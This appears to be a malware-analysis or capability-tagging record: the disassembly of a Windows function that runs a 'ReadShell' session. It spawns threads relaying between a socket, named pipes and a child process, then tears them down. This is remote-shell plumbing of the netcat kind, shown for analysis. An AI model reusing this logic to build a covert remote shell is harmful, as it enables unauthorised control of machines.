Function at 0x4020f2
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
call fcn.00401e84
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [eax + 0xc], edx
mov eax, 0x402616
lea edx, [ebp - 0x20]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x4021cc
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x40a0d0
mov dword [esp], eax
call sub.msvcrt.dll__itoa
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_create_ReadShell_session_thread__error___s
call fcn.00402ddc
mov eax, dword [ebp - 0xc]
mov dword [eax + 0xc], 0xffffffff
mov eax, 0
jmp 0x402497
mov eax, 0x4027cf
lea edx, [ebp - 0x20]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x14], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x402297
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x40a0d0
mov dword [esp], eax
call sub.msvcrt.dll__itoa
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_create_ReadShell_session_thread__error___s
call fcn.00402ddc
mov eax, dword [ebp - 0xc]
mov dword [eax + 0xc], 0xffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateThread
sub esp, 8
mov eax, 0
jmp 0x402497
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 0x24], eax
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], 0
lea eax, [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], 3
call sub.KERNEL32.dll_WaitForMultipleObjects
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, 1
je 0x402327
cmp eax, 2
je 0x40235e
test eax, eax
jne 0x402392
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateThread
sub esp, 8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateProcess
sub esp, 8
jmp 0x4023e8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateThread
sub esp, 8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateProcess
sub esp, 8
jmp 0x4023e8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateThread
sub esp, 8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateThread
sub esp, 8
jmp 0x4023e8
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x40a0d0
mov dword [esp], eax
call sub.msvcrt.dll__itoa
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], str.WaitForMultipleObjects_error:__s
call fcn.00402ddc
nop
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 4], 2
mov dword [esp], eax
call sub.WSOCK32.DLL_shutdown
sub esp, 8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp], eax
call sub.WSOCK32.DLL_closesocket
sub esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_DisconnectNamedPipe
sub esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [esp], eax
call sub.KERNEL32.dll_DisconnectNamedPipe
sub esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 1
leave
ret